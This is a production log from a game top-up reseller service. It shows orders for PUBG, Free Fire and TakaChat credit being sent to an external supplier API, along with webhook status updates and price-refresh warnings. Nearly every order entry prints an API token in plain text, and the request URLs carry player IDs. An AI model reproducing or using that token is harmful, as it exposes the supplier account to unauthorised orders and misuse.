[2026-03-24 14:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Yhw6HwqHQIrwv1cFDFUTzECauCzVVRyr","execution_time":"2026-03-24 14:12:02","total_operations":1,"sites_count":1} 
[2026-03-24 14:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Yhw6HwqHQIrwv1cFDFUTzECauCzVVRyr","execution_time":"2026-03-24 14:12:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-9snNM5s-1774348305"]} 
[2026-03-24 14:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Yhw6HwqHQIrwv1cFDFUTzECauCzVVRyr","execution_time":"2026-03-24 14:12:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Yhw6HwqHQIrwv1cFDFUTzECauCzVVRyr","execution_time":"2026-03-24 14:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 14:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Yhw6HwqHQIrwv1cFDFUTzECauCzVVRyr","execution_time":"2026-03-24 14:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Yhw6HwqHQIrwv1cFDFUTzECauCzVVRyr","execution_time":"2026-03-24 14:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 14:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Yhw6HwqHQIrwv1cFDFUTzECauCzVVRyr","execution_time":"2026-03-24 14:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"errors":0} 
[2026-03-24 14:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Yhw6HwqHQIrwv1cFDFUTzECauCzVVRyr","execution_time":"2026-03-24 14:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:12:15] production.INFO: Constructing job for order: 178711  
[2026-03-24 14:12:17] production.INFO: Handling job for order: 178711  
[2026-03-24 14:12:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:12:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:12:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=7dbe242f-3783-495b-a557-ddab6d6d203f&Player_ID=51818995353  
[2026-03-24 14:12:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=7dbe242f-3783-495b-a557-ddab6d6d203f&Player_ID=51818995353","has_body":false} 
[2026-03-24 14:12:18] production.INFO: Operation sent successfully {"operation_id":163632,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8Fp-1774350738","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:12:18"}},"processed_data":{"order_number":"ORD-8Fp-1774350738","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 14:12:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-8Fp-1774350738","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:12:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-8Fp-1774350738","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:12:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:12:33] production.INFO: SendAcceptReject: Notification queued {"user_id":1360,"notification_type":"order_approved","reference_id":178711} 
[2026-03-24 14:12:33] production.INFO: Order updated successfully. Order ID: 178711, Status: completed  
[2026-03-24 14:12:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-8Fp-1774350738","status":"completed","codes_count":0} 
[2026-03-24 14:12:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1360  
[2026-03-24 14:12:54] production.INFO: Constructing job for order: 178712  
[2026-03-24 14:12:56] production.INFO: Constructing job for order: 178713  
[2026-03-24 14:12:57] production.INFO: Handling job for order: 178712  
[2026-03-24 14:12:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:12:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:12:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=44bcef79-333c-41ff-94f9-b4a8862f024e&Player_ID=52327878205  
[2026-03-24 14:12:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=44bcef79-333c-41ff-94f9-b4a8862f024e&Player_ID=52327878205","has_body":false} 
[2026-03-24 14:12:58] production.INFO: Operation sent successfully {"operation_id":163633,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hctSMWpo-1774350778","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:12:58"}},"processed_data":{"order_number":"ORD-hctSMWpo-1774350778","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 14:12:58] production.INFO: Handling job for order: 178713  
[2026-03-24 14:12:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:12:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:12:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=15a33873-9241-4818-84b7-3919bbd5b762&Player_ID=11433860617  
[2026-03-24 14:12:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=15a33873-9241-4818-84b7-3919bbd5b762&Player_ID=11433860617","has_body":false} 
[2026-03-24 14:12:59] production.INFO: Operation sent successfully {"operation_id":163634,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9H3Ixz8-1774350778","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:12:59"}},"processed_data":{"order_number":"ORD-9H3Ixz8-1774350778","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:13:02] production.INFO: Constructing job for order: 178714  
[2026-03-24 14:13:05] production.INFO: Handling job for order: 178714  
[2026-03-24 14:13:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:13:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:13:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=a57c9976-885c-4df4-abf8-112fc06cdcc6&Player_ID=52327878205  
[2026-03-24 14:13:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=a57c9976-885c-4df4-abf8-112fc06cdcc6&Player_ID=52327878205","has_body":false} 
[2026-03-24 14:13:06] production.INFO: Operation sent successfully {"operation_id":163635,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-27QO-1774350785","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:13:06"}},"processed_data":{"order_number":"ORD-27QO-1774350785","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 14:13:21] production.INFO: Constructing job for order: 178715  
[2026-03-24 14:13:24] production.INFO: Handling job for order: 178715  
[2026-03-24 14:13:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:13:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:13:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=100000&uuid=2017c327-27c7-4590-a9cd-fbfe03b5e113&Player_ID=590255741  
[2026-03-24 14:13:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=100000&uuid=2017c327-27c7-4590-a9cd-fbfe03b5e113&Player_ID=590255741","has_body":false} 
[2026-03-24 14:13:25] production.INFO: Operation sent successfully {"operation_id":163636,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6yJ54XT-1774350804","amount":10.1507500000000003836930773104541003704071044921875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 14:13:25"}},"processed_data":{"order_number":"ORD-6yJ54XT-1774350804","amount":10.1507500000000003836930773104541003704071044921875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 14:13:36] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9H3Ixz8-1774350778","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:13:36] production.INFO: Processed webhook data (normalized) {"id":"ORD-9H3Ixz8-1774350778","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:13:36] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:13:36] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":178713} 
[2026-03-24 14:13:36] production.INFO: Order updated successfully. Order ID: 178713, Status: completed  
[2026-03-24 14:13:36] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9H3Ixz8-1774350778","status":"completed","codes_count":0} 
[2026-03-24 14:13:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 14:13:38] production.INFO: Constructing job for order: 178716  
[2026-03-24 14:13:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-hctSMWpo-1774350778","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:13:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-hctSMWpo-1774350778","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:13:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:13:39] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":178712} 
[2026-03-24 14:13:39] production.INFO: Order updated successfully. Order ID: 178712, Status: completed  
[2026-03-24 14:13:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-hctSMWpo-1774350778","status":"completed","codes_count":0} 
[2026-03-24 14:13:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 14:13:40] production.INFO: Handling job for order: 178716  
[2026-03-24 14:13:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:13:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:13:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=22705d79-b341-4015-bdbe-86e20b468469&Player_ID=51817493907  
[2026-03-24 14:13:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=22705d79-b341-4015-bdbe-86e20b468469&Player_ID=51817493907","has_body":false} 
[2026-03-24 14:13:41] production.INFO: Operation sent successfully {"operation_id":163637,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lLBJayAn-1774350820","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:13:41"}},"processed_data":{"order_number":"ORD-lLBJayAn-1774350820","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 14:13:55] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-lLBJayAn-1774350820","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:13:55] production.INFO: Processed webhook data (normalized) {"id":"ORD-lLBJayAn-1774350820","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:13:55] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:13:55] production.INFO: SendAcceptReject: Notification queued {"user_id":1703,"notification_type":"order_approved","reference_id":178716} 
[2026-03-24 14:13:55] production.INFO: Order updated successfully. Order ID: 178716, Status: completed  
[2026-03-24 14:13:55] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-lLBJayAn-1774350820","status":"completed","codes_count":0} 
[2026-03-24 14:13:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1703  
[2026-03-24 14:14:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02"} 
[2026-03-24 14:14:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02","total_operations":3,"sites_count":1} 
[2026-03-24 14:14:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-9snNM5s-1774348305","ORD-27QO-1774350785","ORD-6yJ54XT-1774350804"]} 
[2026-03-24 14:14:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:14:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 14:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-27QO-1774350785","operation_id":163635} 
[2026-03-24 14:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-6yJ54XT-1774350804","operation_id":163636} 
[2026-03-24 14:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:14:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 14:14:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"errors":0} 
[2026-03-24 14:14:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"JQdBZWxhPuxYGRyGh7v0SfrZM5M868Vf","execution_time":"2026-03-24 14:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:14:15] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-6yJ54XT-1774350804","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:14:15] production.INFO: Processed webhook data (normalized) {"id":"ORD-6yJ54XT-1774350804","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:14:15] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:14:15] production.INFO: SendAcceptReject: Notification queued {"user_id":619,"notification_type":"order_approved","reference_id":178715} 
[2026-03-24 14:14:15] production.INFO: Order updated successfully. Order ID: 178715, Status: completed  
[2026-03-24 14:14:15] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-6yJ54XT-1774350804","status":"completed","codes_count":0} 
[2026-03-24 14:14:15] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-27QO-1774350785","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 14:14:15] production.INFO: Processed webhook data (normalized) {"id":"ORD-27QO-1774350785","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 14:14:15] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 14:14:15] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_rejected","reference_id":178714} 
[2026-03-24 14:14:15] production.INFO: Order updated successfully. Order ID: 178714, Status: rejected  
[2026-03-24 14:14:15] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-27QO-1774350785","status":"rejected","codes_count":0} 
[2026-03-24 14:14:16] production.INFO: Constructing job for order: 178717  
[2026-03-24 14:14:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 619  
[2026-03-24 14:14:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 14:14:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 14:14:17] production.INFO: Handling job for order: 178717  
[2026-03-24 14:14:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:14:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:14:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=c6794ced-93cd-420e-8103-1391743fc341&Player_ID=589084795  
[2026-03-24 14:14:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=c6794ced-93cd-420e-8103-1391743fc341&Player_ID=589084795","has_body":false} 
[2026-03-24 14:14:18] production.INFO: Operation sent successfully {"operation_id":163638,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ecW1gk-1774350857","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 14:14:18"}},"processed_data":{"order_number":"ORD-ecW1gk-1774350857","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 14:14:37] production.INFO: Constructing job for order: 178718  
[2026-03-24 14:14:39] production.INFO: Handling job for order: 178718  
[2026-03-24 14:14:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:14:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:14:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=2efb8e53-1ef4-41c9-91cc-ae50fcb1b2d9&Player_ID=12701626467  
[2026-03-24 14:14:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=2efb8e53-1ef4-41c9-91cc-ae50fcb1b2d9&Player_ID=12701626467","has_body":false} 
[2026-03-24 14:14:40] production.INFO: Operation sent successfully {"operation_id":163639,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4lSolGI-1774350879","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:14:40"}},"processed_data":{"order_number":"ORD-4lSolGI-1774350879","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:15:03] production.INFO: Constructing job for order: 178719  
[2026-03-24 14:15:04] production.INFO: Executing GetProducts task...  
[2026-03-24 14:15:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:15:04] production.INFO: Executing GetProducts task...  
[2026-03-24 14:15:06] production.INFO: async() رجع: true  
[2026-03-24 14:15:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:15:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:15:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-4lSolGI-1774350879","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:15:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-4lSolGI-1774350879","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:15:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:15:06] production.INFO: SendAcceptReject: Notification queued {"user_id":55,"notification_type":"order_approved","reference_id":178718} 
[2026-03-24 14:15:06] production.INFO: Order updated successfully. Order ID: 178718, Status: completed  
[2026-03-24 14:15:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-4lSolGI-1774350879","status":"completed","codes_count":0} 
[2026-03-24 14:15:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:15:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:15:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:15:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:15:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:15:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:15:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:15:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:15:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:15:07] production.INFO: Handling job for order: 178719  
[2026-03-24 14:15:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:15:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:15:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d93eb5ff-9309-4f3b-b7ef-b589e979fd16&Player_ID=52445466989  
[2026-03-24 14:15:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d93eb5ff-9309-4f3b-b7ef-b589e979fd16&Player_ID=52445466989","has_body":false} 
[2026-03-24 14:15:08] production.INFO: Operation sent successfully {"operation_id":163640,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dmWH-1774350908","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:15:08"}},"processed_data":{"order_number":"ORD-dmWH-1774350908","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:15:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 55  
[2026-03-24 14:15:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-dmWH-1774350908","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:15:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-dmWH-1774350908","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:15:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:15:18] production.INFO: SendAcceptReject: Notification queued {"user_id":1134,"notification_type":"order_approved","reference_id":178719} 
[2026-03-24 14:15:18] production.INFO: Order updated successfully. Order ID: 178719, Status: completed  
[2026-03-24 14:15:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-dmWH-1774350908","status":"completed","codes_count":0} 
[2026-03-24 14:15:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1134  
[2026-03-24 14:15:46] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ecW1gk-1774350857","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:15:46] production.INFO: Processed webhook data (normalized) {"id":"ORD-ecW1gk-1774350857","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:15:46] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:15:46] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":178717} 
[2026-03-24 14:15:46] production.INFO: Order updated successfully. Order ID: 178717, Status: completed  
[2026-03-24 14:15:46] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ecW1gk-1774350857","status":"completed","codes_count":0} 
[2026-03-24 14:15:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 14:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"7j79X0C9Cjl5lsS9vmFblTXSq8hzO0HR","execution_time":"2026-03-24 14:16:02"} 
[2026-03-24 14:16:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"7j79X0C9Cjl5lsS9vmFblTXSq8hzO0HR","execution_time":"2026-03-24 14:16:02","total_operations":1,"sites_count":1} 
[2026-03-24 14:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"7j79X0C9Cjl5lsS9vmFblTXSq8hzO0HR","execution_time":"2026-03-24 14:16:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-9snNM5s-1774348305"]} 
[2026-03-24 14:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"7j79X0C9Cjl5lsS9vmFblTXSq8hzO0HR","execution_time":"2026-03-24 14:16:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:16:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"7j79X0C9Cjl5lsS9vmFblTXSq8hzO0HR","execution_time":"2026-03-24 14:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 14:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7j79X0C9Cjl5lsS9vmFblTXSq8hzO0HR","execution_time":"2026-03-24 14:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:16:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"7j79X0C9Cjl5lsS9vmFblTXSq8hzO0HR","execution_time":"2026-03-24 14:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 14:16:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"7j79X0C9Cjl5lsS9vmFblTXSq8hzO0HR","execution_time":"2026-03-24 14:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"errors":0} 
[2026-03-24 14:16:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"7j79X0C9Cjl5lsS9vmFblTXSq8hzO0HR","execution_time":"2026-03-24 14:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:16:09] production.INFO: Constructing job for order: 178720  
[2026-03-24 14:16:11] production.INFO: Handling job for order: 178720  
[2026-03-24 14:16:11] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:16:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:16:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=2a122485-6d61-4519-beb3-fe77b2268784&Player_ID=589084795  
[2026-03-24 14:16:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=2a122485-6d61-4519-beb3-fe77b2268784&Player_ID=589084795","has_body":false} 
